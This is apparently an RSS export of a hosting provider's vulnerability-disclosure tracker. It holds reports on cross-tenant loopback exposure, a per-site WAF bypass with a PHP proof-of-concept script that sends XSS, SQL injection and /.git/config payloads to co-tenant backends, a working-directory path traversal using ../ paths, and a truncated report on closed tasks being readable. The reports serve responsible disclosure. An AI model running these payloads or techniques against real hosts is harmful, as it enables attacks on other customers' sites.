– 127.0.0.1:8080 (internal <acronym title="Application Programming Interface">API</acronym>)<br /><acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.0 404 Not Found<br />```
</p>

<p>
### <em class="u"></em><em class="u">Signed Token Generation (port 7020):</em><em class="u"></em>
</p>

<p>
A `GET /stream/tv/&lt;id&gt;.json` request to port 7020 returns a signed HLS <acronym title="Uniform Resource Locator">URL</acronym> in the following form:
</p>

<p>
```<br /><a href="https://catologo-ita-auto.alwaysdata.net/partite-ita/hls-proxy.m3u8?t=" class="urlextern" title="https://catologo-ita-auto.alwaysdata.net/partite-ita/hls-proxy.m3u8?t="  rel="nofollow">https://catologo-ita-auto.alwaysdata.net/partite-ita/hls-proxy.m3u8?t=</a>&lt;JWT&gt;&amp;s=&lt;sig&gt;<br />```
</p>

<p>
Any co-tenant on the node can generate valid signed stream tokens for another customer&#039;s paid content service, replay those signed URLs, or consume that customer&#039;s bandwidth and quota — all without any authentication whatsoever.
</p>

<p>
—
</p>

<p>
 ## <em class="u">Impact:</em>
</p>

<p>
<strong>Tenant-to-tenant isolation failure.</strong> Any customer&#039;s <acronym title="Hypertext Preprocessor">PHP</acronym> running on a shared node can connect to other customers&#039; loopback-bound services, read private data, and abuse application functionality such as generating signed tokens or consuming rate-limited resources.
</p>

<p>
<strong>alwaysdata infrastructure directly reachable from tenant code.</strong> The PowerDNS <acronym title="Application Programming Interface">API</acronym> on port 8083 and the internal <acronym title="Application Programming Interface">API</acronym> on port 8080 are both reachable from any tenant. While currently auth-gated, their exposure to arbitrary tenant code violates defense-in-depth and significantly widens the blast radius of any future credential leak or auth bypass on those services.
</p>

<p>
The external firewall correctly blocks all of this from the internet. The problem is that the same firewall does nothing to stop co-tenants from reaching each other — and that is the exact boundary that shared hosting must enforce.
</p>

<p>
—
</p>

<p>
 ##<em class="u"> Ethical Disclosure:</em>
</p>

<p>
I confirmed the issue by observing that a co-tenant application on the node loopback was serving live data and generating signed stream tokens with no authentication, and that alwaysdata&#039;s own PowerDNS and internal <acronym title="Application Programming Interface">API</acronym> endpoints were reachable from tenant <acronym title="Hypertext Preprocessor">PHP</acronym>. I fetched only the addon manifest, the live-match list, and a single signed token <acronym title="Uniform Resource Locator">URL</acronym> to establish proof of impact, then immediately stopped. I did not consume any victim stream. All observed customer content including match data, stream URLs, and token values has been redacted from the evidence files.
</p>

<p>
alwaysdata-internal services (8080 / 8083) were probed with unauthenticated GET requests only, receiving 401 and 404 responses respectively. No authentication bypass was attempted.
</p>

<p>
—
</p>

<p>
## <em class="u">Recommendations</em>:
</p>

<p>
<strong>Isolate the loopback per tenant.</strong> Place each tenant in its own network namespace (or provision a per-tenant loopback / veth pair with NAT) so that `127.0.0.1` inside tenant A&#039;s context never routes to tenant B&#039;s services or to alwaysdata&#039;s internal services.
</p>

<p>
<strong>Move internal services off the shared loopback.</strong> Bind the PowerDNS <acronym title="Application Programming Interface">API</acronym> (8083) and internal <acronym title="Application Programming Interface">API</acronym> (8080) to a management-only interface — a separate VRF, network namespace, or non-tenant network segment — rather than the shared node loopback.
</p>

<p>
<strong>Do not rely on application-layer authentication as the sole control.</strong> Auth on these services is a good second line of defense but is not a substitute for proper network-level isolation at the tenant boundary.
</p>

<p>
—
</p>

<p>
## <em class="u">Evidence Files:</em> 
</p>
<table class="inline">
	<tr>
		<td> File </td><td> Contents </td>
	</tr>
	<tr>
		<td>—</td><td>—</td>
	</tr>
	<tr>
		<td> `verify_all_output.txt` </td><td> Live re-verification output (ports 7020, 8080, 8083) </td>
	</tr>
	<tr>
		<td> `port8080_probe.txt` </td><td> First-discovery probe output for port 8080 </td>
	</tr>
	<tr>
		<td> `tenantapp_7020.txt` </td><td> Port 7020 manifest and debug-live responses </td>
	</tr>
	<tr>
		<td> `tenantapp_probe3.txt` </td><td> `/stream/tv/&lt;id&gt;.json` signed JWT output (token value redacted) </td>
	</tr>
	<tr>
		<td> `CHAIN.md` </td><td> Full finding chain reference </td>
	</tr>
</table>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/450">
    <title>FS#450: Per-site WAF fully bypassable by any co-tenant — attacker reaches victim&#039;s origin Apache directly vi</title>
    <link>https://security.alwaysdata.com/task/450</link>
    <dc:date>2026-08-20T10:05:03Z</dc:date>
    <dc:creator>Abdullah Al Midul</dc:creator>
     <description>

Target: alwaysdata shared web node http22 — per-site WAF (waf_profile) + per-tenant Apache backend  Severity: High — CVSS 8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)  



Class: CWE-693 Protection Mechanism Failure + CWE-284 Improper Access Control  



Verified: 2026-08-18, live re-test, zero false positives  



Related reports: FINDING-1 (WAF JSON bypass) and FINDING-6 (ULA IPv6 cross-tenant access) — both submitted separately, both are prerequisites for this chain— Architecture — how the attack works```

                      INTERNET
                          │
                          ▼
            ┌─────────────────────────────┐
            │         alproxy             │
            │  (nginx-based public front) │
            │                             │
            │  ┌───────────────────────┐  │
            │  │   per-site WAF runs   │  │  ← waf_profile = full
            │  │   HERE — XSS/SQLi/LFI │  │    blocks malicious
            │  │   signatures, 403     │  │    payloads from internet
            │  └───────────────────────┘  │
            └──────────────┬──────────────┘
                           │ proxied request
                           ▼
            ┌─────────────────────────────┐
            │    Tenant Apache (origin)   │
            │  Listen [fd00::7:9184]:8080 │  ← no WAF here at all
            │  DocumentRoot /home/acct/   │    no mod_security
            │  FcgidWrapper php-cgi       │    no SecRule
            └─────────────────────────────┘
                           ▲
                           │ direct TCP connection
                           │ (skips alproxy entirely)
            ┌─────────────────────────────┐
            │   Attacker tenant PHP       │
            │   fsockopen(               │
            │     &amp;quot;[fd00::7:9184]&amp;quot;, 8080) │  ← any co-tenant can do this
            │                             │    because bond0 is shared L2
            └─────────────────────────────┘
NODE http22 — shared bridge bond0 (all tenants on same L2)
┌──────────────────────────────────────────────────────────┐
│  Tenant A  fd00::7:8900:8080  ◄──┐                      │
│  Tenant B  fd00::7:8af6:8080  ◄──┤  attacker reaches    │
│  Tenant C  fd00::7:8e39:8080  ◄──┤  any of these        │
│  Attacker  fd00::7:9184:8080     │  directly via PHP    │
│  ... 146 total listeners ...  ◄──┘  fsockopen           │
└──────────────────────────────────────────────────────────┘


```The WAF only exists on alproxy. The origin Apache has no WAF rules. The shared bridge means any tenant&amp;#039;s PHP can reach any co-tenant&amp;#039;s origin directly. Those two facts together make the WAF completely bypassable by anyone on the same node.—



What I found:



When a customer enables the per-site WAF on their alwaysdata site, the protection only lives on alproxy, the public-facing nginx front. The actual web server behind it — a per-tenant Apache instance — listens on a ULA IPv6 address (fd00::7:&amp;lt;suffix&amp;gt;:8080) and has no WAF rules of any kind. I confirmed this by reading the origin Apache config from my own tenant account.The node runs all tenant Apaches on a single shared bridge called bond0. Because of this, all the fd00::7:* ULA addresses are on the same Layer 2 segment and reachable from any tenant&amp;#039;s PHP code using a plain fsockopen call. When an attacker connects directly to a co-tenant&amp;#039;s ULA backend, their request goes straight to the Apache origin and completely skips alproxy. The WAF never sees the request. No payload obfuscation is needed.The practical consequence is that any customer who pays for WAF protection gets zero protection from other customers on the same shared node, which is the most realistic attacker population on a shared hosting platform since they already have code execution on the same machine.—



How to reproduce:



You need two alwaysdata accounts on the same shared web node. The attacker account needs a basic PHP site. The victim account needs the WAF enabled.Enable the WAF on the victim site:```PATCH https://api.alwaysdata.com/v1/site/&amp;lt;victim-site-id&amp;gt;/Authorization: Basic &amp;lt;account-api-token&amp;gt;Content-Type: application/json



{&amp;quot;waf_profile&amp;quot;: &amp;quot;full&amp;quot;}```Then upload the PoC script (Section 4) to the attacker webroot. Replace the $victim and $host values, open it in a browser, and it will demonstrate the A/B differential.— Live evidence — A/B differential (2026-08-18, waf_profile=full)I sent three payloads through both paths while the victim WAF was at its strictest setting. Public front blocked all three. Backend served all three.Reflected XSS — via public front (WAF active):```GET /index.html?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1Host: regtest846.alwaysdata.net



HTTP/1.1 403 ForbiddenRequest was blocked by WAF. (Request ID: badaac42-…)```Same payload — via co-tenant PHP directly to victim ULA backend:```GET /index.html?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1Host: regtest846.alwaysdata.net



HTTP/1.1 200 OKServer: ApacheContent-Length: 2419(full page served, payload unblocked)```SQL injection — public front: 403 Forbidden. Backend ULA: 200 OK.Path traversal probe (/.git/config) — public front: 403 Forbidden. Backend ULA: 404 Not Found, meaning the backend handled the request normally and the WAF was never consulted.Results summary:```payload          via ULA backend (no WAF)     via public front (WAF=full)XSS              HTTP/1.1 200 OK  (2419 b)    HTTP/1.1 403 ForbiddenSQLi             HTTP/1.1 200 OK  (2419 b)    HTTP/1.1 403 Forbidden/.git/config     HTTP/1.1 404 Not Found       HTTP/1.1 403 Forbidden```Origin Apache config — no WAF present:```/home/regtest846/admin/config/apache/apache.conf

  Listen [fd00::7:9184]:8080
  Include &amp;quot;sites.conf&amp;quot;


 /home/regtest846/admin/config/apache/sites.conf

  &amp;lt;VirtualHost *&amp;gt;
      ServerName regtest846.alwaysdata.net
      AddHandler fcgid-script .php
      FcgidWrapper &amp;quot;/usr/bin/env ... /usr/bin/php-cgi&amp;quot; .php
      DocumentRoot &amp;quot;/home/regtest846/www/&amp;quot;
  &amp;lt;/VirtualHost&amp;gt;


```No mod_security, no SecRule, no WAF include anywhere in the origin config.— PoC scriptDrop this on any alwaysdata PHP site on the same node as the victim. Replace $victim with the co-tenant&amp;#039;s ULA suffix and $host with their public hostname.```php&amp;lt;?phpheader(&amp;quot;Content-Type: text/plain&amp;quot;);set_time_limit(120);



function http6($ip, $port, $path, $host) {

  $s = @fsockopen(&amp;quot;[$ip]&amp;quot;, $port, $e, $es, 6);
  if (!$s) return &amp;quot;CLOSED&amp;quot;;
  stream_set_timeout($s, 10);
  fwrite($s, &amp;quot;GET $path HTTP/1.1\r\nHost: $host\r\nConnection: close\r\n\r\n&amp;quot;);
  $r = &amp;quot;&amp;quot;;
  while (!feof($s)) {
      $c = fread($s, 8192);
      if ($c === false || $c === &amp;quot;&amp;quot;) break;
      $r .= $c;
  }
  fclose($s);
  return $r;


}



// replace these two values$victim = &amp;quot;fd00::7:XXXX&amp;quot;;$host   = &amp;quot;VICTIM.alwaysdata.net&amp;quot;;



$payloads = array(

  &amp;quot;XSS&amp;quot;       =&amp;gt; &amp;quot;/index.html?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E&amp;quot;,
  &amp;quot;SQLi&amp;quot;      =&amp;gt; &amp;quot;/index.html?q=x%27%20OR%201%3D1--&amp;quot;,
  &amp;quot;path/.git&amp;quot; =&amp;gt; &amp;quot;/.git/config&amp;quot;,


);



echo &amp;quot;payload\t\t\tvia ULA backend\n&amp;quot;;echo str_repeat(&amp;quot;-&amp;quot;, 55) . &amp;quot;\n&amp;quot;;foreach ($payloads as $name ⇒ $path) {

  $be = http6($victim, 8080, $path, $host);
  $status = strtok($be, &amp;quot;\r\n&amp;quot;);
  echo str_pad($name, 16) . &amp;quot;\t$status\n&amp;quot;;


}echo &amp;quot;\nNote: same payloads via public front all return 403.\n&amp;quot;;echo &amp;quot;Node context:\n&amp;quot;;echo &amp;quot;hostname: &amp;quot; . trim1) . &amp;quot;\n&amp;quot;;echo &amp;quot;our ULA: &amp;quot; . trim2) . &amp;quot;\n&amp;quot;;?&amp;gt;```—



Impact:



The WAF feature gives false assurance on shared nodes. Customers who enable waf_profile=full expect XSS, SQL injection, and LFI protection. That protection does not exist against co-tenants.An attacker needs only a cheap alwaysdata account to send arbitrary attack payloads to any WAF-protected site on their node. This is not a theoretical concern — shared hosting nodes host many customers and the attacker already has PHP execution on the same machine, so the network path to co-tenant backends is trivially reachable.The scope of the bypass is limited to the node (not the entire platform). No co-tenant application data was accessed. I sent payloads only to static files on my own test account to produce the A/B differential, and immediately stopped after confirming the bypass.—



How to fix this:



The simplest immediate fix is to enforce the same WAF rules on the backend Apache, not just on alproxy. This breaks the bypass regardless of whether co-tenants can reach the ULA backend.The deeper fix is per-tenant network isolation so tenant PHP code cannot reach co-tenant ULA addresses at all. This is also the root cause of FINDING-6 and would eliminate that entire class of finding across the node.Both fixes independently break this chain. Ideally both are applied together.After any fix, the A/B test in this report should show 403 on both the public front and the direct ULA backend path.—



Evidence files:



The following evidence files are available and can be provided on request or via a support ticket per the program&amp;#039;s private-information policy:



chain_probe4_output.txt — live A/B differential output showing backend 200 vs public front 403 for all three payloadsapache_conf_dump.txt — origin apache.conf confirming Listen directive on ULA address with no WAF or mod_security directives presentrce_read_sites_conf.py and its output — sites.conf dump confirming vhost configuration with FcgidWrapper and DocumentRoot, no WAF include



FINDING-1 (WAF JSON Content-Type bypass) and FINDING-6 (ULA IPv6 cross-tenant access) will be submitted as separate reports. Both are prerequisites for this chain.


1) 
string)@shell_exec(&amp;quot;hostname 2&amp;gt;/dev/null&amp;quot;
2) 
string)@shell_exec(&amp;quot;ip -6 addr 2&amp;gt;/dev/null | grep -o &amp;#039;fd00::7:[0-9a-f]*&amp;#039; | head -1&amp;quot;

</description>
    <content:encoded><![CDATA[
<p>
Target: <em class="u"><strong>alwaysdata shared web node http22 — per-site WAF (waf_profile) + per-tenant Apache backend </strong></em> <br />Severity: <strong>High — CVSS 8.1</strong> (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)  
</p>

<p>
Class: CWE-693 Protection Mechanism Failure + CWE-284 Improper Access Control  
</p>

<p>
Verified: 2026-08-18, live re-test, zero false positives  
</p>

<p>
Related reports: FINDING-1 (WAF JSON bypass) and FINDING-6 (ULA IPv6 cross-tenant access) — both submitted separately, both are prerequisites for this chain<br />— Architecture — how the attack works<br />```
</p>
<pre class="code">                      INTERNET
                          │
                          ▼
            ┌─────────────────────────────┐
            │         alproxy             │
            │  (nginx-based public front) │
            │                             │
            │  ┌───────────────────────┐  │
            │  │   per-site WAF runs   │  │  ← waf_profile = full
            │  │   HERE — XSS/SQLi/LFI │  │    blocks malicious
            │  │   signatures, 403     │  │    payloads from internet
            │  └───────────────────────┘  │
            └──────────────┬──────────────┘
                           │ proxied request
                           ▼
            ┌─────────────────────────────┐
            │    Tenant Apache (origin)   │
            │  Listen [fd00::7:9184]:8080 │  ← no WAF here at all
            │  DocumentRoot /home/acct/   │    no mod_security
            │  FcgidWrapper php-cgi       │    no SecRule
            └─────────────────────────────┘
                           ▲
                           │ direct TCP connection
                           │ (skips alproxy entirely)
            ┌─────────────────────────────┐
            │   Attacker tenant PHP       │
            │   fsockopen(               │
            │     &quot;[fd00::7:9184]&quot;, 8080) │  ← any co-tenant can do this
            │                             │    because bond0 is shared L2
            └─────────────────────────────┘</pre>
<pre class="code">NODE http22 — shared bridge bond0 (all tenants on same L2)
┌──────────────────────────────────────────────────────────┐
│  Tenant A  fd00::7:8900:8080  ◄──┐                      │
│  Tenant B  fd00::7:8af6:8080  ◄──┤  attacker reaches    │
│  Tenant C  fd00::7:8e39:8080  ◄──┤  any of these        │
│  Attacker  fd00::7:9184:8080     │  directly via PHP    │
│  ... 146 total listeners ...  ◄──┘  fsockopen           │
└──────────────────────────────────────────────────────────┘</pre>

<p>
```<br />The WAF only exists on alproxy. The origin Apache has no WAF rules. The shared bridge means any tenant&#039;s <acronym title="Hypertext Preprocessor">PHP</acronym> can reach any co-tenant&#039;s origin directly. Those two facts together make the WAF completely bypassable by anyone on the same node.<br />—
</p>

<p>
What I found:
</p>

<p>
When a customer enables the per-site WAF on their alwaysdata site, the protection only lives on alproxy, the public-facing nginx front. The actual web server behind it — a per-tenant Apache instance — listens on a ULA IPv6 address (fd00::7:&lt;suffix&gt;:8080) and has no WAF rules of any kind. I confirmed this by reading the origin Apache config from my own tenant account.<br />The node runs all tenant Apaches on a single shared bridge called bond0. Because of this, all the fd00::7:* ULA addresses are on the same Layer 2 segment and reachable from any tenant&#039;s <acronym title="Hypertext Preprocessor">PHP</acronym> code using a plain fsockopen call. When an attacker connects directly to a co-tenant&#039;s ULA backend, their request goes straight to the Apache origin and completely skips alproxy. The WAF never sees the request. No payload obfuscation is needed.<br />The practical consequence is that any customer who pays for WAF protection gets zero protection from other customers on the same shared node, which is the most realistic attacker population on a shared hosting platform since they already have code execution on the same machine.<br />—
</p>

<p>
How to reproduce:
</p>

<p>
You need two alwaysdata accounts on the same shared web node. The attacker account needs a basic <acronym title="Hypertext Preprocessor">PHP</acronym> site. The victim account needs the WAF enabled.<br />Enable the WAF on the victim site:<br />```<br />PATCH <a href="https://api.alwaysdata.com/v1/site/" class="urlextern" title="https://api.alwaysdata.com/v1/site/"  rel="nofollow">https://api.alwaysdata.com/v1/site/</a>&lt;victim-site-id&gt;/<br />Authorization: Basic &lt;account-api-token&gt;<br />Content-Type: application/json
</p>

<p>
{&quot;waf_profile&quot;: &quot;full&quot;}<br />```<br />Then upload the PoC script (Section 4) to the attacker webroot. Replace the $victim and $host values, open it in a browser, and it will demonstrate the A/B differential.<br />— Live evidence — A/B differential (2026-08-18, waf_profile=full)<br />I sent three payloads through both paths while the victim WAF was at its strictest setting. Public front blocked all three. Backend served all three.<br />Reflected XSS — via public front (WAF active):<br />```<br />GET /index.html?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: regtest846.alwaysdata.net
</p>

<p>
<acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 403 Forbidden<br />Request was blocked by WAF. (Request ID: badaac42-…)<br />```<br />Same payload — via co-tenant <acronym title="Hypertext Preprocessor">PHP</acronym> directly to victim ULA backend:<br />```<br />GET /index.html?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1<br />Host: regtest846.alwaysdata.net
</p>

<p>
<acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK<br />Server: Apache<br />Content-Length: 2419<br />(full page served, payload unblocked)<br />```<br /><acronym title="Structured Query Language">SQL</acronym> injection — public front: 403 Forbidden. Backend ULA: 200 OK.<br />Path traversal probe (/.git/config) — public front: 403 Forbidden. Backend ULA: 404 Not Found, meaning the backend handled the request normally and the WAF was never consulted.<br />Results summary:<br />```<br />payload          via ULA backend (no WAF)     via public front (WAF=full)<br />XSS              <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK  (2419 b)    <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 403 Forbidden<br />SQLi             <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 200 OK  (2419 b)    <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 403 Forbidden<br />/.git/config     <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 404 Not Found       <acronym title="Hyper Text Transfer Protocol">HTTP</acronym>/1.1 403 Forbidden<br />```<br />Origin Apache config — no WAF present:<br />```<br />/home/regtest846/admin/config/apache/apache.conf
</p>
<pre class="code">  Listen [fd00::7:9184]:8080
  Include &quot;sites.conf&quot;</pre>

<p>
 /home/regtest846/admin/config/apache/sites.conf
</p>
<pre class="code">  &lt;VirtualHost *&gt;
      ServerName regtest846.alwaysdata.net
      AddHandler fcgid-script .php
      FcgidWrapper &quot;/usr/bin/env ... /usr/bin/php-cgi&quot; .php
      DocumentRoot &quot;/home/regtest846/www/&quot;
  &lt;/VirtualHost&gt;</pre>

<p>
```<br />No mod_security, no SecRule, no WAF include anywhere in the origin config.<br />— PoC script<br />Drop this on any alwaysdata <acronym title="Hypertext Preprocessor">PHP</acronym> site on the same node as the victim. Replace $victim with the co-tenant&#039;s ULA suffix and $host with their public hostname.<br />```php<br />&lt;?php<br />header(&quot;Content-Type: text/plain&quot;);<br />set_time_limit(120);
</p>

<p>
function http6($ip, $port, $path, $host) {
</p>
<pre class="code">  $s = @fsockopen(&quot;[$ip]&quot;, $port, $e, $es, 6);
  if (!$s) return &quot;CLOSED&quot;;
  stream_set_timeout($s, 10);
  fwrite($s, &quot;GET $path HTTP/1.1\r\nHost: $host\r\nConnection: close\r\n\r\n&quot;);
  $r = &quot;&quot;;
  while (!feof($s)) {
      $c = fread($s, 8192);
      if ($c === false || $c === &quot;&quot;) break;
      $r .= $c;
  }
  fclose($s);
  return $r;</pre>

<p>
}
</p>

<p>
// replace these two values<br />$victim = &quot;fd00::7:XXXX&quot;;<br />$host   = &quot;VICTIM.alwaysdata.net&quot;;
</p>

<p>
$payloads = array(
</p>
<pre class="code">  &quot;XSS&quot;       =&gt; &quot;/index.html?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E&quot;,
  &quot;SQLi&quot;      =&gt; &quot;/index.html?q=x%27%20OR%201%3D1--&quot;,
  &quot;path/.git&quot; =&gt; &quot;/.git/config&quot;,</pre>

<p>
);
</p>

<p>
echo &quot;payload\t\t\tvia ULA backend\n&quot;;<br />echo str_repeat(&quot;-&quot;, 55) . &quot;\n&quot;;<br />foreach ($payloads as $name ⇒ $path) {
</p>
<pre class="code">  $be = http6($victim, 8080, $path, $host);
  $status = strtok($be, &quot;\r\n&quot;);
  echo str_pad($name, 16) . &quot;\t$status\n&quot;;</pre>

<p>
}<br />echo &quot;\nNote: same payloads via public front all return 403.\n&quot;;<br />echo &quot;Node context:\n&quot;;<br />echo &quot;hostname: &quot; . trim<a href="#fn__1" name="fnt__1" id="fnt__1" class="fn_top" onmouseover="fnt('1', this, event);">1)</a> . &quot;\n&quot;;<br />echo &quot;our ULA: &quot; . trim<a href="#fn__2" name="fnt__2" id="fnt__2" class="fn_top" onmouseover="fnt('2', this, event);">2)</a> . &quot;\n&quot;;<br />?&gt;<br />```<br />—
</p>

<p>
Impact:
</p>

<p>
The WAF feature gives false assurance on shared nodes. Customers who enable waf_profile=full expect XSS, <acronym title="Structured Query Language">SQL</acronym> injection, and LFI protection. That protection does not exist against co-tenants.<br />An attacker needs only a cheap alwaysdata account to send arbitrary attack payloads to any WAF-protected site on their node. This is not a theoretical concern — shared hosting nodes host many customers and the attacker already has <acronym title="Hypertext Preprocessor">PHP</acronym> execution on the same machine, so the network path to co-tenant backends is trivially reachable.<br />The scope of the bypass is limited to the node (not the entire platform). No co-tenant application data was accessed. I sent payloads only to static files on my own test account to produce the A/B differential, and immediately stopped after confirming the bypass.<br />—
</p>

<p>
How to fix this:
</p>

<p>
The simplest immediate fix is to enforce the same WAF rules on the backend Apache, not just on alproxy. This breaks the bypass regardless of whether co-tenants can reach the ULA backend.<br />The deeper fix is per-tenant network isolation so tenant <acronym title="Hypertext Preprocessor">PHP</acronym> code cannot reach co-tenant ULA addresses at all. This is also the root cause of FINDING-6 and would eliminate that entire class of finding across the node.<br />Both fixes independently break this chain. Ideally both are applied together.<br />After any fix, the A/B test in this report should show 403 on both the public front and the direct ULA backend path.<br />—
</p>

<p>
Evidence files:
</p>

<p>
The following evidence files are available and can be provided on request or via a support ticket per the program&#039;s private-information policy:
</p>

<p>
chain_probe4_output.txt — live A/B differential output showing backend 200 vs public front 403 for all three payloads<br />apache_conf_dump.txt — origin apache.conf confirming Listen directive on ULA address with no WAF or mod_security directives present<br />rce_read_sites_conf.py and its output — sites.conf dump confirming vhost configuration with FcgidWrapper and DocumentRoot, no WAF include
</p>

<p>
FINDING-1 (WAF JSON Content-Type bypass) and FINDING-6 (ULA IPv6 cross-tenant access) will be submitted as separate reports. Both are prerequisites for this chain.<br />
</p>
<div class="footnotes">
<div class="fn"><a href="#fnt__1" id="fn__1" name="fn__1" class="fn_bot">1)</a> 
string)@shell_exec(&quot;hostname 2&gt;/dev/null&quot;</div>
<div class="fn"><a href="#fnt__2" id="fn__2" name="fn__2" class="fn_bot">2)</a> 
string)@shell_exec(&quot;ip -6 addr 2&gt;/dev/null | grep -o &#039;fd00::7:[0-9a-f]*&#039; | head -1&quot;</div>
</div>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/449">
    <title>FS#449: Service Working Directory Path Traversal Allows Filesystem Enumeration</title>
    <link>https://security.alwaysdata.com/task/449</link>
    <dc:date>2026-08-19T09:14:18Z</dc:date>
    <dc:creator>subhash</dc:creator>
     <description>

## DescriptionThe Alwaysdata Service feature does not properly restrict the Working Directory to the user&amp;#039;s authorized directory. By using directory traversal (`../`) in the Working Directory, an authenticated user can escape the intended directory boundary. The configured service command is then executed from the resulting directory, and its output is returned in the service logs.



The demonstrated impact is unauthorized directory and filename enumeration outside the intended Working Directory.



## CVSS → CVSS v3.1: 5.3 (Medium) → CWE-22 — Path Traversal



## Steps to Reproduce1. Log in to an Alwaysdata account.2. Go to Services and create a new service.3. Set the command to:



ls



4. Set the Working Directory to a traversal path that escapes the authorized directory.



../../../victim/www../../root/



5. Start the service.6. Open the service Logs.7. Observe that the command executes outside the intended Working Directory and returns directory names that are outside the user&amp;#039;s authorized path.



For example, the service logs returned root-level directories including:



alwaysdatabinbootdevetchomeliblib32lib64mediamntnfsoptprocrootrunsbinsrvsystmpusrvar



## ImpactAn authenticated user can bypass the intended Working Directory restriction and:



* Enumerate directories outside the authorized path.* Obtain filenames and directory names.* Determine whether specific filesystem paths exist.* Disclose filesystem structure through service logs.



The demonstrated PoC is limited to directory and filename enumeration. No file contents were accessed or modified.



## Actual BehaviorThe Service feature accepts a traversal-based Working Directory and executes the configured command outside the intended directory boundary. The resulting directory contents are disclosed through the service logs.



## Expected BehaviorThe Working Directory should remain restricted to the directories authorized for the service. Traversal sequences such as ../ should not allow the resolved path to escape that boundary.



## Proof Of ConceptDrive_Link → https://drive.google.com/file/d/117lXZYv3Y6KHEjs8qEGSIP4gGsPzrE8v/view?usp=sharing



## SummaryAn authenticated Alwaysdata user can use path traversal in the Service Working Directory field to escape the intended directory restriction, causing service commands such as ls to execute from unauthorized filesystem locations and disclose directory/file names through service logs.



Thanks

</description>
    <content:encoded><![CDATA[
<p>
## Description<br />The Alwaysdata Service feature does not properly restrict the Working Directory to the user&#039;s authorized directory. By using directory traversal (`../`) in the Working Directory, an authenticated user can escape the intended directory boundary. The configured service command is then executed from the resulting directory, and its output is returned in the service logs.
</p>

<p>
The demonstrated impact is unauthorized directory and filename enumeration outside the intended Working Directory.
</p>

<p>
## CVSS → CVSS v3.1: 5.3 (Medium) → CWE-22 — Path Traversal
</p>

<p>
## Steps to Reproduce<br />1. Log in to an Alwaysdata account.<br />2. Go to Services and create a new service.<br />3. Set the command to:
</p>

<p>
ls
</p>

<p>
4. Set the Working Directory to a traversal path that escapes the authorized directory.
</p>

<p>
../../<br />../victim/www<br />../../root/
</p>

<p>
5. Start the service.<br />6. Open the service Logs.<br />7. Observe that the command executes outside the intended Working Directory and returns directory names that are outside the user&#039;s authorized path.
</p>

<p>
For example, the service logs returned root-level directories including:
</p>

<p>
alwaysdata<br />bin<br />boot<br />dev<br />etc<br />home<br />lib<br />lib32<br />lib64<br />media<br />mnt<br />nfs<br />opt<br />proc<br />root<br />run<br />sbin<br />srv<br />sys<br />tmp<br />usr<br />var
</p>

<p>
## Impact<br />An authenticated user can bypass the intended Working Directory restriction and:
</p>

<p>
* Enumerate directories outside the authorized path.<br />* Obtain filenames and directory names.<br />* Determine whether specific filesystem paths exist.<br />* Disclose filesystem structure through service logs.
</p>

<p>
The demonstrated PoC is limited to directory and filename enumeration. No file contents were accessed or modified.
</p>

<p>
## Actual Behavior<br />The Service feature accepts a traversal-based Working Directory and executes the configured command outside the intended directory boundary. The resulting directory contents are disclosed through the service logs.
</p>

<p>
## Expected Behavior<br />The Working Directory should remain restricted to the directories authorized for the service. Traversal sequences such as ../ should not allow the resolved path to escape that boundary.
</p>

<p>
## Proof Of Concept<br />Drive_Link → <a href="https://drive.google.com/file/d/117lXZYv3Y6KHEjs8qEGSIP4gGsPzrE8v/view?usp=sharing" class="urlextern" title="https://drive.google.com/file/d/117lXZYv3Y6KHEjs8qEGSIP4gGsPzrE8v/view?usp=sharing"  rel="nofollow">https://drive.google.com/file/d/117lXZYv3Y6KHEjs8qEGSIP4gGsPzrE8v/view?usp=sharing</a>
</p>

<p>
## Summary<br />An authenticated Alwaysdata user can use path traversal in the Service Working Directory field to escape the intended directory restriction, causing service commands such as ls to execute from unauthorized filesystem locations and disclose directory/file names through service logs.
</p>

<p>
Thanks<br />
</p>
]]></content:encoded>
  </item>
    <item rdf:about="https://security.alwaysdata.com/task/446">
    <title>FS#446: Missing Authorization Check Allows Unauthenticated Access to Closed Vulnerability Reports.</title>
    <link>https://security.alwaysdata.com/task/446</link>
    <dc:date>2026-08-19T09:12:04Z</dc:date>
    <dc:creator>TrinityXploit</dc:creator>
     <description>

Hi Team We have Found a Vulnerability in your Website.



Target: security.alwaysdata.com



 Endpoint: https://security.alwaysdata.com/task/&amp;lt;id&amp;gt; (individual task pages), https://security.alwaysdata.com/feed.php?feed_type=rss2&amp;amp;project=1 (RSS feed) Severity: P2 — Medium/High



security.alwaysdata.com is alwaysdata&amp;#039;s own Flyspray-based vulnerability disclosure and bug bounty intake tracker. The authorization check that correctly restricts access to task pages (Error #102: You have no permission to view this task) is not applied once a task&amp;#039;s status is changed to Closed. Any unauthenticated user can browse /task/&amp;lt;id&amp;gt; for a closed task and receive the full report body — title, description, complete reproduction steps, PoC scripts, affected infrastructure hostnames, internal usernames, and private staff/reporter comment threads.



This is not limited to one task. Testing across six closed tasks spanning different vulnerability classes and dates confirms the behavior is systemic, not an isolated misconfiguration on a single report. An accompanying open (unpatched) task was correctly blocked under identical, cookie-free request conditions, isolating the defect specifically to the closed-status code path rather than a site-wide access control failure.



Root CauseThe task detail view in Flyspray renders a Private field in its metadata table, but that field was empty on the tested task (confirmed by inspecting the rendered HTML — no private value or class was present). This means the exposure is not an override of an explicit Private flag. The actual defect is narrower and more precise:



